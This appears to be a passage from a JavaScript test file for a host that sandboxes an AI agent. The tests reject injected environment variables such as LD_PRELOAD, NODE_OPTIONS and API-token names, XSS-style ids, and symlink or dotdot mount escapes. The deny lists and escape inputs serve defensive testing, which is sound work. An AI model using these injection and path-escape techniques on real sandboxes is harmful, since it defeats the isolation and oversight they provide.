assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-0123456789ab" })).id, /^triage-/);
|
||||
await client.call("message.read", { id: "owner-0123456789ab" });
|
||||
assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-0123456789ab" }]);
|
||||
assert.deepEqual(read, ["owner-0123456789ab"]);
|
||||
// The model writes in_reply_to. Anything but an id the host issued is dropped, never stored.
|
||||
for (const bad of ["<img src=x onerror=1>", "owner-1", "owner-0123456789ab\u202e", "owner-0123456789abc", "x".repeat(60000)]) {
|
||||
sent.length = 0;
|
||||
await client.call("message.send", { to: "human", body: "b", in_reply_to: bad });
|
||||
assert.deepEqual(sent, [{ body: "b", in_reply_to: null }], bad.slice(0, 24));
|
||||
}
|
||||
const refused = [
|
||||
["decision.raise", { kind: "hire", body: "x" }], ["event.emit", { kind: "action.allowed", body: {} }],
|
||||
["message.send", { to: "chief", body: "x", class: "INFO" }], ["message.send", { to: "pm", body: "x" }],
|
||||
["message.send", { to: "human" }], ["task.create", { title: "x" }], ["launch", { instance: "chief" }],
|
||||
["plugin.tool", {}], ["toString", {}], ["__proto__", {}], ["constructor", {}],
|
||||
];
|
||||
for (const [verb, args] of refused) {
|
||||
await assert.rejects(client.call(verb, args), (e) => e.code === RELAY_REFUSED, verb);
|
||||
}
|
||||
await assert.rejects(new Client({ path: socket, cap: "b".repeat(64) }).call("message.send", { to: "human", body: "x" }), (e) => e.code === RELAY_REFUSED);
|
||||
await assert.rejects(new Client({ path: socket, human: "jason" }).call("message.receive"), (e) => e.code === RELAY_REFUSED);
|
||||
assert.deepEqual(await raw(socket, "not json"), { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" });
|
||||
assert.equal((await raw(socket, JSON.stringify({ cap: CAP.toUpperCase(), verb: "role.claim" }))).error, RELAY_REFUSED);
|
||||
assert.equal(sent.length, 1, "no refused call reached the transcript");
|
||||
assert.equal(lstatSync(socket).mode & 0o777, 0o600);
|
||||
});
|
||||
|
||||
test("the prompt names the snapshot inside the session and the card form, after the role's contract", () => {
|
||||
const text = hostPrompt("# Triage\n\nContract.\n", { snapshotPath: "/r/work/health/snapshot.json", steps: ["bus-start"] });
|
||||
assert.match(text, /^# Triage\n\nContract\.\n\n## This host/);
|
||||
assert.match(text, /\/r\/work\/health\/snapshot\.json/);
|
||||
assert.match(text, /```cards\n\[\{"step": "bus-start", "org": "alpha"\}\]\n```/);
|
||||
});
|
||||
|
||||
// Names the route may try in harnessEnv that the host refuses even when the module declares them.
|
||||
const REFUSED_TRIED = [
|
||||
"MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE", "MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "NODE_OPTIONS", "NODE_PATH", "LD_PRELOAD",
|
||||
"LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", "PYTHONPATH", "PYTHONSTARTUP", "PATH", "HOME", "TMPDIR", "BASH_ENV", "ENV", "SSH_AUTH_SOCK",
|
||||
"GITEA_TOKEN", "GH_TOKEN", "GIT_ASKPASS", "GIT_CONFIG_PARAMETERS", "VIKUNJA_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN",
|
||||
"ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN", "OPENAI_API_KEY", "GLIBC_TUNABLES", "PI_CODING_AGENT_DIR", "XDG_CONFIG_HOME",
|
||||
];
|
||||
// The fake harness module: it declares the probe names and every refused one, so only the host's
|
||||
// own refusal stops those. Its one install root is <root>/install.
|
||||
const DECLARED = Object.freeze(["TRIAGE_PROBE", "FAKE_OK", "FAKE_TWO", ...REFUSED_TRIED]);
|
||||
const fakeModule = (roots, names = DECLARED) => async (name) => name === "fake" ? { envNames: names, installRoots: () => roots } : null;
|
||||
|
||||
function host(t, root, opts = {}) {
|
||||
const dataRoot = join(root, "data");
|
||||
mkdirSync(join(root, "install"), { recursive: true });
|
||||
if (!existsSync(join(root, "install", "adapter.sh"))) writeFileSync(join(root, "install", "adapter.sh"), "exit 0\n");
|
||||
const h = createTriageHost({ dataRoot, readSnapshot: async () => SNAPSHOT, env: CONSOLE_ENV, readOnly: [FIXTURE], pollInterval: 100, harnessModule: fakeModule([join(root, "install")]), ...opts });
|
||||
t.after(() => h.stop());
|
||||
return { h, dataRoot };
|
||||
}
|
||||
|
||||
// A launcher that only leaves a mark: a spawn is proved by the mark, no spawn by its absence.
|
||||
function spy(root) {
|
||||
const f = join(root, "spy");
|
||||
writeFileSync(f, `#!/bin/sh\n: > '${join(root, "spawned")}'\nexit 0\n`, { mode: 0o755 });
|
||||
return f;
|
||||
}
|
||||
const answer = (root, over = {}) => ({
|
||||
ok: true, adapter: join(root, "install", "adapter.sh"), harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit",
|
||||
model: "m", provider: "p", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" }, ...over,
|
||||
});
|
||||
// One route answer through a fresh host: refused before anything is written or spawned, with the
|
||||
// one code, the owner-readable line, and a log line that names the fence.
|
||||
async function refusedRoute(t, label, make, opts = {}) {
|
||||
const root = scratch();
|
||||
mkdirSync(join(root, "install"), { recursive: true });
|
||||
const logs = [];
|
||||
const over = await make(root);
|
||||
const route = { admit: async () => (typeof over === "function" ? over() : answer(root, over)) };
|
||||
const { h, dataRoot } = host(t, root, { route, bwrap: spy(root), log: (l) => logs.push(l), ...(typeof opts === "function" ? opts(root) : opts) });
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid" && e.message === "the model route's answer is not usable", label);
|
||||
assert.equal(existsSync(join(root, "spawned")), false, `${label}: nothing spawned`);
|
||||
assert.equal(h.running, false, label);
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false, `${label}: no bundle`);
|
||||
const [owner, note, ...rest] = (await h.state()).transcript;
|
||||
assert.deepEqual([owner.from, note.from, note.in_reply_to, note.text, rest.length], ["owner", "host", owner.id, ROUTE_REFUSED, 0], label);
|
||||
assert.ok(logs.some((l) => /^triage host: route refused: [a-z-]+$/.test(l)), `${label}: ${logs.join(" | ")}`);
|
||||
return logs;
|
||||
}
|
||||
// One route answer through a fresh host that must reach the launcher; the session.json it wrote.
|
||||
async function admittedRoute(t, label, make, opts = {}) {
|
||||
const root = scratch();
|
||||
mkdirSync(join(root, "install"), { recursive: true });
|
||||
const over = await make(root);
|
||||
const route = { admit: async () => (typeof over === "function" ? over() : answer(root, over)) };
|
||||
const { h, dataRoot } = host(t, root, { route, bwrap: spy(root), ...(typeof opts === "function" ? opts(root) : opts) });
|
||||
await h.message("hello");
|
||||
await waitFor(() => existsSync(join(root, "spawned")));
|
||||
return JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "session.json"), "utf8"));
|
||||
}
|
||||
|
||||
test("no model route: nothing launches, the message is refused, and the state says the route is not set", async (t) => {
|
||||
const { h, dataRoot } = host(t, scratch());
|
||||
assert.equal((await h.state()).route, "not set");
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route" && /no model route is set/.test(e.message));
|
||||
assert.equal(h.running, false);
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
|
||||
assert.deepEqual((await h.state()).transcript, []);
|
||||
});
|
||||
|
||||
test("over the cap: the message is refused until the next day and nothing launches", async (t) => {
|
||||
let clock = Date.parse("2026-11-16T15:00:00.000Z"), asked = 0, answer = { ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" };
|
||||
const route = { admit: async () => { asked++; return answer; } };
|
||||
const { h, dataRoot } = host(t, scratch(), { route, now: () => new Date(clock) });
|
||||
assert.equal((await h.state()).route, "set");
|
||||
assert.equal((await h.state()).overCapUntil, null);
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z");
|
||||
assert.equal(h.running, false);
|
||||
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
|
||||
assert.equal((await h.state()).overCapUntil, "2026-11-17T00:00:00.000Z");
|
||||
// Held: a later route answer cannot reopen the day; the route is not asked again before the time.
|
||||
answer = { ok: false, code: "triage-no-route" };
|
||||
clock = Date.parse("2026-11-16T23:59:59.000Z");
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z");
|
||||
assert.equal(asked, 1);
|
||||
// At the time, the hold ends and the route is asked again.
|
||||
clock = Date.parse("2026-11-17T00:00:00.000Z");
|
||||
assert.equal((await h.state()).overCapUntil, null);
|
||||
await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route");
|
||||
assert.equal(asked, 2);
|
||||
assert.deepEqual((await h.state()).transcript, [], "a refused message is never written");
|
||||
// An over-cap answer whose time is not usable (past, too far, not an ISO time) refuses without a hold.
|
||||
for (const until of ["2026-11-17T00:00:00.000Z", "2026-11-20T00:00:00.000Z", "Tue, 17 Nov 2026 12:00:00 GMT", "tomorrow", 5]) {
|
||||
let n = 0;
|
||||
const r = { admit: async () => { n++; return { ok: false, code: "triage-over-cap", until }; } };
|
||||
const later = host(t, scratch(), { route: r, now: () => new Date("2026-11-17T01:00:00.000Z") }).h;
|
||||
await assert.rejects(later.message("a"), (e) => e.code === "triage-over-cap" && e.until === undefined, String(until));
|
||||
await assert.rejects(later.message("b"), (e) => e.code === "triage-over-cap");
|
||||
assert.equal(n, 2, `${until}: not held`);
|
||||
assert.equal((await later.state()).overCapUntil, null);
|
||||
}
|
||||
const odd = { admit: async () => ({ ok: false, code: "rm -rf", until: 5 }) };
|
||||
const other = host(t, scratch(), { route: odd }).h;
|
||||
await assert.rejects(other.message("hello"), (e) => e.code === "triage-route-refused" && e.until === undefined);
|
||||
});
|
||||
|
||||
// #1873 triage-fences, design section 4. Every refused answer reaches no spawn (the spy launcher
|
||||
// leaves no mark), writes no bundle, answers triage-route-invalid and leaves ROUTE_REFUSED under
|
||||
// the owner's line.
|
||||
|
||||
test("fence 1: a harnessEnv name the host refuses is refused even when the harness module declares it", async (t) => {
|
||||
for (const name of REFUSED_TRIED) {
|
||||
assert.ok(DECLARED.includes(name));
|
||||
await refusedRoute(t, name, () => ({ harnessEnv: { [name]: "x" } }));
|
||||
assert.equal(refusedHarnessName(name), true, name);
|
||||
}
|
||||
// Names that are not one plain upper-case name: lower or mixed case, an equals sign, a NUL.
|
||||
for (const name of ["lower", "Mosaic_policy_file", "mosaic_policy_file", "FAKE_OK=x", "A=B", "FAKE_OK\0", " FAKE_OK", "fake_ok"]) {
|
||||
await refusedRoute(t, JSON.stringify(name), () => ({ harnessEnv: { [name]: "x" } }), (root) => ({ harnessModule: fakeModule([join(root, "install")], [...DECLARED, name]) }));
|
||||
}
|
||||
for (const name of [
|
||||
"GIT_DIR", "BASH_FUNC_x%%", "LD_AUDIT", "SHELLOPTS", "PS4", "IFS", "HTTPS_PROXY", "NODE_EXTRA_CA_CERTS", "PYTHONHOME", "MOSAIC_X", "GCONV_PATH",
|
||||
"LOCPATH", "MALLOC_CHECK_", "OPENSSL_CONF", "SSL_CERT_FILE", "ZDOTDIR", "PROMPT_COMMAND", "JAVA_TOOL_OPTIONS", "_JAVA_OPTIONS", "NPM_CONFIG_PREFIX",
|
||||
"CLAUDE_CONFIG_DIR", "XDG_DATA_HOME", "ANY_CONF", "ANY_CONFIG", "PERLLIB", "LESSOPEN", "LESSCLOSE", "HOSTALIASES",
|
||||
"SSH_ASKPASS", "SUDO_ASKPASS", "CURL_CA_BUNDLE", "REQUESTS_CA_BUNDLE", "OPENAI_BASE_URL", "ANY_BASE_URL",
|
||||
]) assert.equal(refusedHarnessName(name), true, name);
|
||||
for (const name of ["FAKE_OK", "PI_MODEL", "TRIAGE_PROBE"]) assert.equal(refusedHarnessName(name), false, name);
|
||||
});
|
||||
|
||||
test("fence 1: values are strings of at most 4096 characters with no control character or line separator, and at most 64 names", async (t) => {
|
||||
for (const [label, v] of [
|
||||
["newline", "x\ny"], ["nul", "x\0"], ["cr", "x\ry"], ["tab", "x\ty"], ["escape", "x\u001by"], ["del", "x\u007f"], ["c1 next line", "x\u0085y"],
|
||||
["line separator", "x\u2028y"], ["paragraph separator", "x\u2029y"], ["4097", "a".repeat(4097)], ["number", 5], ["null", null], ["object", {}], ["array", ["x"]],
|
||||
]) {
|
||||
await refusedRoute(t, label, () => ({ harnessEnv: { FAKE_OK: v } }));
|
||||
}
|
||||
const many = Object.fromEntries(Array.from({ length: 65 }, (_, i) => [`FAKE_N${i}`, "x"]));
|
||||
await refusedRoute(t, "65 names", () => ({ harnessEnv: many }), (root) => ({ harnessModule: fakeModule([join(root, "install")], Object.keys(many)) }));
|
||||
await admittedRoute(t, "64 names", () => ({ harnessEnv: Object.fromEntries(Object.entries(many).slice(0, 64)) }), (root) => ({ harnessModule: fakeModule([join(root, "install")], Object.keys(many)) }));
|
||||
await refusedRoute(t, "array harnessEnv", () => ({ harnessEnv: ["FAKE_OK"] }));
|
||||
await refusedRoute(t, "no harnessEnv", () => ({ harnessEnv: undefined }));
|
||||
const s = await admittedRoute(t, "4096", () => ({ harnessEnv: { FAKE_OK: "a".repeat(4096), FAKE_TWO: "" } }));
|
||||
assert.deepEqual(Object.keys(s.harnessEnv), ["FAKE_OK", "FAKE_TWO"]);
|
||||
});
|
||||
|
||||
test("fence 1: a name the harness module does not declare is refused; a declared one reaches the session's bundle", async (t) => {
|
||||
await refusedRoute(t, "undeclared", () => ({ harnessEnv: { FAKE_UNDECLARED: "x" } }));
|
||||
await refusedRoute(t, "no such module", () => ({ harness: "nope" }));
|
||||
await refusedRoute(t, "module without envNames", () => ({}), (root) => ({ harnessModule: async () => ({ installRoots: () => [join(root, "install")] }) }));
|
||||
await refusedRoute(t, "module without installRoots", () => ({}), { harnessModule: async () => ({ envNames: DECLARED }) });
|
||||
await refusedRoute(t, "module that throws", () => ({}), { harnessModule: async () => { throw new Error("x"); } });
|
||||
await refusedRoute(t, "installRoots that throws", () => ({}), { harnessModule: async () => ({ envNames: DECLARED, installRoots: () => { throw new Error("x"); } }) });
|
||||
const s = await admittedRoute(t, "declared", () => ({ harnessEnv: { FAKE_OK: "yes" } }));
|
||||
assert.deepEqual(s.harnessEnv, { FAKE_OK: "yes" });
|
||||
});
|
||||
|
||||
test("fence 1: the bundle holds the copy the host checked; no MOSAIC_ name reaches session.json, even from a getter", async (t) => {
|
||||
let reads = 0;
|
||||
const s = await admittedRoute(t, "getter", (root) => () => {
|
||||
const a = answer(root);
|
||||
delete a.harnessEnv;
|
||||
Object.defineProperty(a, "harnessEnv", { enumerable: true, get: () => (reads++ === 0 ? { FAKE_OK: "checked" } : { MOSAIC_POLICY_FILE: "/evil", FAKE_OK: "swapped" }) });
|
||||
return a;
|
||||
});
|
||||
assert.equal(reads, 1, "the answer is read once");
|
||||
assert.deepEqual(s.harnessEnv, { FAKE_OK: "checked" });
|
||||
assert.ok(!Object.keys(s.harnessEnv).some((k) => k.startsWith("MOSAIC_")));
|
||||
// An answer that cannot be copied (a function in it) is refused.
|
||||
await refusedRoute(t, "function", (root) => ({ harnessEnv: { FAKE_OK: "x" }, extra: () => 1 }));
|
||||
});
|
||||
|
||||
test("fence 2: route env holds only the proxy's two names, the base URL is http on 127.0.0.1 with a port, and the host's port and token shape hold when given", async (t) => {
|
||||
const bad = [
|
||||
undefined, "", "http://localhost:9", "http://[::1]:9", "https://127.0.0.1:9", "http://127.0.0.1", "http://127.0.0.1:", "http://127.0.0.1:9/",
|
||||
"http://127.0.0.1:9/v1", "http://127.0.0.1:09", "http://127.0.0.1:0", "http://127.0.0.1:65536", "http://127.0.0.1:99999", "http://127.0.0.2:9",
|
||||
"http://[email protected]:9", "HTTP://127.0.0.1:9", "http://127.0.0.1:9\n", "http://127.0.0.1:9 ", "http://127.1:9", "http://2130706433:9",
|
||||
"http://127.0.0.1:9#x", "http://127.0.0.1:9?x", "http://10.0.0.1:9", 9,
|
||||
];
|
||||
for (const url of bad) await refusedRoute(t, `url ${JSON.stringify(url)}`, () => ({ env: url === undefined ? {} : { ANTHROPIC_BASE_URL: url } }));
|
||||
for (const extra of ["OTHER", "MOSAIC_CONFIG", "ANTHROPIC_API_KEY", "PATH", "anthropic_base_url"]) {
|
||||
await refusedRoute(t, `env ${extra}`, () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", [extra]: "x" } }));
|
||||
}
|
||||
for (const token of ["a\nb", "a\u2028b", "a\u0000b", "a\u007fb"]) await refusedRoute(t, `token ${JSON.stringify(token)}`, () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ANTHROPIC_AUTH_TOKEN: token } }));
|
||||
await refusedRoute(t, "env array", () => ({ env: ["ANTHROPIC_BASE_URL"] }));
|
||||
await admittedRoute(t, "port 65535", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:65535" } }));
|
||||
// The host's port.
|
||||
await refusedRoute(t, "other port", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" } }), { proxyPort: 9001 });
|
||||
await admittedRoute(t, "its port", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9001" } }), { proxyPort: 9001 });
|
||||
// The host's token shape: the whole token, never a part of it.
|
||||
const tokenPattern = /mst-[0-9a-f]{8}/g;
|
||||
for (const token of [undefined, "xmst-deadbeef", "mst-deadbeefx", "mst-DEADBEEF", "", "mst-deadbee"]) {
|
||||
await refusedRoute(t, `token ${token}`, () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ...(token === undefined ? {} : { ANTHROPIC_AUTH_TOKEN: token }) } }), { tokenPattern });
|
||||
}
|
||||
await admittedRoute(t, "token", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ANTHROPIC_AUTH_TOKEN: "mst-deadbeef" } }), { tokenPattern });
|
||||
await admittedRoute(t, "token twice", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ANTHROPIC_AUTH_TOKEN: "mst-deadbeef" } }), { tokenPattern });
|
||||
for (const p of [0, 65536, "9", 1.5]) assert.throws(() => createTriageHost({ dataRoot: "/x", proxyPort: p }), /proxyPort/);
|
||||
assert.throws(() => createTriageHost({ dataRoot: "/x", tokenPattern: "mst-" }), /tokenPattern/);
|
||||
});
|
||||
|
||||
test("fence 3: a mount source outside the install roots, through a link out of them, or in the data root, the config directory, HOME or a secrets path is refused", async (t) => {
|
||||
const file = (p) => { mkdirSync(dirname(p), { recursive: true }); writeFileSync(p, "x"); return p; };
|
||||
const mount = (src, extra = {}) => ({ harnessMounts: [{ src, why: "w", ...extra }] });
|
||||
await refusedRoute(t, "outside", (root) => mount(file(join(root, "elsewhere", "f"))));
|
||||
await refusedRoute(t, "link out", (root) => { file(join(root, "elsewhere", "f")); symlinkSync(join(root, "elsewhere", "f"), join(root, "install", "out")); return mount(join(root, "install", "out")); });
|
||||
await refusedRoute(t, "dir link out", (root) => { file(join(root, "elsewhere", "f")); symlinkSync(join(root, "elsewhere"), join(root, "install", "d")); return mount(join(root, "install", "d", "f")); });
|
||||
await refusedRoute(t, "dotdot", (root) => { file(join(root, "elsewhere", "f")); return mount(`${root}/install/../elsewhere/f`); });
|
||||
await refusedRoute(t, "dotdot in root", (root) => { file(join(root, "install", "f")); return mount(`${root}/install/x/../f`); });
|
||||
await refusedRoute(t, "trailing slash", (root) => { mkdirSync(join(root, "install", "d")); return mount(join(root, "install", "d") + "/"); });
|
||||
await refusedRoute(t, "double slash", (root) => { file(join(root, "install", "f")); return mount(root + "//install/f"); });
|
||||
await refusedRoute(t, "relative", () => mount("install/adapter.sh"));
|
||||
await refusedRoute(t, "missing", (root) => mount(join(root, "install", "absent")));
|
||||
await refusedRoute(t, "case", (root) => { file(join(root, "install", "f")); return mount(join(root, "INSTALL", "f")); });
|
||||
// With the whole scratch root as the install root, only the protected-path fence stands.
|
||||
const wide = (root) => ({ harnessModule: fakeModule([root]) });
|
||||
await refusedRoute(t, "data root", (root) => mount(file(join(root, "data", "f"))), wide);
|
||||
await refusedRoute(t, "parent of data root", (root) => { mkdirSync(join(root, "data"), { recursive: true }); return mount(join(root)); }, wide);
|
||||
await refusedRoute(t, "alias of data root", (root) => { file(join(root, "data", "f")); symlinkSync(join(root, "data"), join(root, "alias")); return mount(join(root, "alias", "f")); }, wide);
|
||||
await refusedRoute(t, "config dir", (root) => mount(file(join(root, "cfg", "f"))), (root) => ({ ...wide(root), env: { ...CONSOLE_ENV, MOSAIC_CONFIG: join(root, "cfg", "config.json") } }));
|
||||
await refusedRoute(t, "home", (root) => mount(file(join(root, "h", "f"))), (root) => ({ ...wide(root), home: join(root, "h") }));
|
||||
await refusedRoute(t, "parent of home", (root) => { file(join(root, "p", "h", "f")); return mount(join(root, "p")); }, (root) => ({ ...wide(root), home: join(root, "p", "h") }));
|
||||
for (const seg of ["secrets", "Secrets", "SECRET", "my-secret-store"]) {
|
||||
await refusedRoute(t, seg, (root) => mount(file(join(root, "install", seg, "token"))));
|
||||
}
|
||||
await refusedRoute(t, "link into secrets", (root) => { file(join(root, "install", "secrets", "token")); symlinkSync(join(root, "install", "secrets", "token"), join(root, "install", "t")); return mount(join(root, "install", "t")); });
|
||||
await refusedRoute(t, "9 mounts", (root) => ({ harnessMounts: Array.from({ length: 9 }, (_, i) => ({ src: file(join(root, "install", `m${i}`)), dest: `/opt/m${i}`, why: "w" })) }));
|
||||
await refusedRoute(t, "mounts not a list", (root) => ({ harnessMounts: { src: file(join(root, "install", "f")) } }));
|
||||
await refusedRoute(t, "extra key", (root) => mount(file(join(root, "install", "f")), { mode: "rw" }));
|
||||
await refusedRoute(t, "no why", (root) => ({ harnessMounts: [{ src: file(join(root, "install", "f")) }] }));
|
||||
await refusedRoute(t, "string mount", (root) => ({ harnessMounts: [file(join(root, "install", "f"))] }));
|
||||
await refusedRoute(t, "install root is /", () => ({}), { harnessModule: fakeModule(["/"]) });
|
||||
await refusedRoute(t, "install root not a list", (root) => ({}), (root) => ({ harnessModule: fakeModule(join(root, "install")) }));
|
||||
await refusedRoute(t, "no install roots", () => ({}), { harnessModule: fakeModule([]) });
|
||||
await admittedRoute(t, "8 mounts", (root) => ({ harnessMounts: Array.from({ length: 8 }, (_, i) => ({ src: file(join(root, "install", `m${i}`)), dest: `/opt/m${i}`, why: "w" })) }));
|
||||
});
|
||||
|
||||
test("fence 3: a mount dest that is or holds /tmp, the run directory, the relay socket, the bundle, session.json, the health dest, a system bind or a runner file is refused", async (t) => {
|
||||
const withDest = (dest) => (root) => {
|
||||
writeFileSync(join(root, "install", "f"), "x");
|
||||
return { harnessMounts: [{ src: join(root, "install", "f"), dest: typeof dest === "function" ? dest(root) : dest, why: "w" }] };
|
||||
};
|
||||
const run = (root, ...p) => join(root, "data", "triage", "agent", ...p);
|
||||
const dests = [
|
||||
["/tmp", "/tmp"], ["under /tmp", "/tmp/x"], ["/tmp/", "/tmp/"], ["root", "/"], ["/usr/bin/sh", "/usr/bin/sh"], ["/usr", "/usr"], ["/etc", "/etc"],
|
||||
["/etc/hosts", "/etc/hosts"], ["relative", "opt/x"], ["dotdot", "/opt/../tmp"], ["empty", ""], ["number", 5],
|
||||
["run dir", (r) => run(r)], ["in run dir", (r) => run(r, "x")], ["relay", (r) => run(r, "relay.sock")], ["bundle", (r) => run(r, "bundle")],
|
||||
["session.json", (r) => run(r, "session.json")], ["health dest", (r) => run(r, "work", "health")], ["parent of run dir", (r) => dirname(run(r))],
|
||||
["parent of data root", (r) => r], ["runner file", RUNNER_FILES[0]], ["holds runner files", join(REPO, "packages")], ["repo", REPO],
|
||||
["node", process.execPath], ["holds node", dirname(process.execPath)], ["adapter", (r) => join(r, "install", "adapter.sh")],
|
||||
["holds adapter", (r) => join(r, "install")],
|
||||
];
|
||||
for (const [label, dest] of dests) await refusedRoute(t, `dest ${label}`, withDest(dest));
|
||||
await refusedRoute(t, "same dest twice", (root) => {
|
||||
writeFileSync(join(root, "install", "f"), "x");
|
||||
writeFileSync(join(root, "install", "g"), "x");
|
||||
return { harnessMounts: [{ src: join(root, "install", "f"), dest: "/opt/x", why: "w" }, { src: join(root, "install", "g"), dest: "/opt/x", why: "w" }] };
|
||||
});
|
||||
for (const [label, a, b] of [["nested dest", "/opt/x", "/opt/x/f"], ["parent dest", "/opt/x/f", "/opt/x"]]) {
|
||||
await refusedRoute(t, label, (root) => {
|
||||
writeFileSync(join(root, "install", "f"), "x");
|
||||
writeFileSync(join(root, "install", "g"), "x");
|
||||
return { harnessMounts: [{ src: join(root, "install", "f"), dest: a, why: "w" }, { src: join(root, "install", "g"), dest: b, why: "w" }] };
|
||||
});
|
||||
}
|
||||
await admittedRoute(t, "dest /opt/x", withDest("/opt/x"));
|
||||
});
|
||||
|
||||
test("fence 3: the adapter takes the same checks: inside an install root, a file, not through a link out, not in a protected path", async (t) => {
|
||||
await refusedRoute(t, "outside", (root) => { writeFileSync(join(root, "a.sh"), "exit 0\n"); return { adapter: join(root, "a.sh") }; });
|
||||
await refusedRoute(t, "link out", (root) => { writeFileSync(join(root, "a.sh"), "exit 0\n"); symlinkSync(join(root, "a.sh"), join(root, "install", "a.sh")); return { adapter: join(root, "install", "a.sh") }; });
|
||||
await refusedRoute(t, "directory", (root) => { mkdirSync(join(root, "install", "d")); return { adapter: join(root, "install", "d") }; });
|
||||
await refusedRoute(t, "relative", () => ({ adapter: "install/adapter.sh" }));
|
||||
await refusedRoute(t, "dotdot", (root) => ({ adapter: `${root}/install/../install/adapter.sh` }));
|
||||
await refusedRoute(t, "missing", (root) => ({ adapter: join(root, "install", "absent.sh") }));
|
||||
await refusedRoute(t, "secrets", (root) => { mkdirSync(join(root, "install", "secrets")); writeFileSync(join(root, "install", "secrets", "a.sh"), "x"); return { adapter: join(root, "install", "secrets", "a.sh") }; });
|
||||
await refusedRoute(t, "data root", (root) => { mkdirSync(join(root, "data"), { recursive: true }); writeFileSync(join(root, "data", "a.sh"), "x"); return { adapter: join(root, "data", "a.sh") }; }, (root) => ({ harnessModule: fakeModule([root]) }));
|
||||
await refusedRoute(t, "not a string", () => ({ adapter: 5 }));
|
||||
// A link that stays inside the root is followed: the bind's source is the file itself.
|
||||
await admittedRoute(t, "link inside", (root) => { writeFileSync(join(root, "install", "real.sh"), "exit 0\n"); symlinkSync(join(root, "install", "real.sh"), join(root, "install", "a.sh")); return { adapter: join(root, "install", "a.sh") }; });
|
||||
});
|
||||
|
||||
test("the shipped harness modules declare what their own env() and mounts() hand a session, and their adapter and mounts pass the host's checks", async () => {
|
||||
const dir = scratch();
|
||||
for (const name of ["pi", "claude-code"]) {
|
||||
const mod = await import(new URL(`../../plugins/harness/${name}/index.mjs`, import.meta.url).href);
|
||||
assert.ok(Array.isArray(mod.envNames) && Object.isFrozen(mod.envNames), name);
|
||||
const keys = Object.keys(mod.env({
|
||||
files: { settings: "/s", mcp: "/m" }, policy: { tools: ["read"] }, tools: [], session: { model: "m", thinking: "off", provider: "p" },
|
||||
}));
|
||||
assert.deepEqual(keys.filter((k) => !isProviderVariable(k)).sort(), [...mod.envNames].sort(), name);
|
||||
const roots = mod.installRoots({ env: {} });
|
||||
const route = { adapter: mod.adapter(), harnessMounts: mod.mounts({ env: {} }), installRoots: roots, runDir: join(dir, "data", "triage", "agent") };
|
||||
const got = checkHostedRoute({ ...route, protectedPaths: [join(dir, "data"), join(dir, "cfg"), join(dir, "home")] });
|
||||
assert.equal(got.adapter.dest, mod.adapter(), name);
|
||||
// A stack that runs from under HOME (a copy or a worktree): HOME holds the repository, and the
|
||||
// code root keeps HOME from refusing the stack's own files. Without it, HOME refuses them.
|
||||
const underHome = { ...route, protectedPaths: [join(dir, "data"), join(dir, "cfg"), dirname(REPO)] };
|
||||
assert.equal(checkHostedRoute({ ...underHome, codeRoot: REPO, codeHolder: dirname(REPO) }).adapter.dest, mod.adapter(), name);
|
||||
assert.throws(() => checkHostedRoute(underHome), (e) => e.fence === "adapter", name);
|
||||
}
|
||||
});
|
||||
|
||||
test("a host whose HOME holds the repository starts the shipped pi harness's own route; a source under HOME outside the repository is still refused", async (t) => {
|
||||
const pi = await import(new URL("../../plugins/harness/pi/index.mjs", import.meta.url).href);
|
||||
const home = dirname(REPO);
|
||||
const opts = { home, harnessModule: async (name) => (name === "pi" ? pi : null) };
|
||||
const piRoute = (root) => answer(root, { harness: "pi", adapter: pi.adapter(), harnessMounts: pi.mounts({ env: {} }), harnessEnv: { PI_MODEL: "m", PI_OFFLINE: "1" } });
|
||||
const s = await admittedRoute(t, "pi under HOME", (root) => () => piRoute(root), opts);
|
||||
assert.equal(s.adapter, pi.adapter());
|
||||
assert.deepEqual(s.harnessEnv, { PI_MODEL: "m", PI_OFFLINE: "1" });
|
||||
// The same host and module, with HOME's own directory (which holds the repository) as an extra
|
||||
// install root and mount: it is under HOME and not in the code, so it is refused.
|
||||
const wide = { ...pi, installRoots: (o) => [...pi.installRoots(o), home] };
|
||||
const logs = await refusedRoute(t, "under HOME, outside the repository", (root) => () => ({ ...piRoute(root), harnessMounts: [...pi.mounts({ env: {} }), { src: home, dest: "/opt/home", why: "w" }] }), { home, harnessModule: async (name) => (name === "pi" ? wide : null) });
|
||||
assert.ok(logs.includes("triage host: route refused: mount-src"), logs.join(" | "));
|
||||
});
|
||||
|
||||
test("a route that changes after the first check is refused at the binds: nothing spawns, what the start wrote is removed, and the next message starts", async (t) => {
|
||||
const root = scratch();
|
||||
mkdirSync(join(root, "install"), { recursive: true });
|
||||
writeFileSync(join(root, "outside.sh"), "exit 0\n");
|
||||
const logs = [];
|
||||
let checked = false;
|
||||
let swapped = false;
|
||||
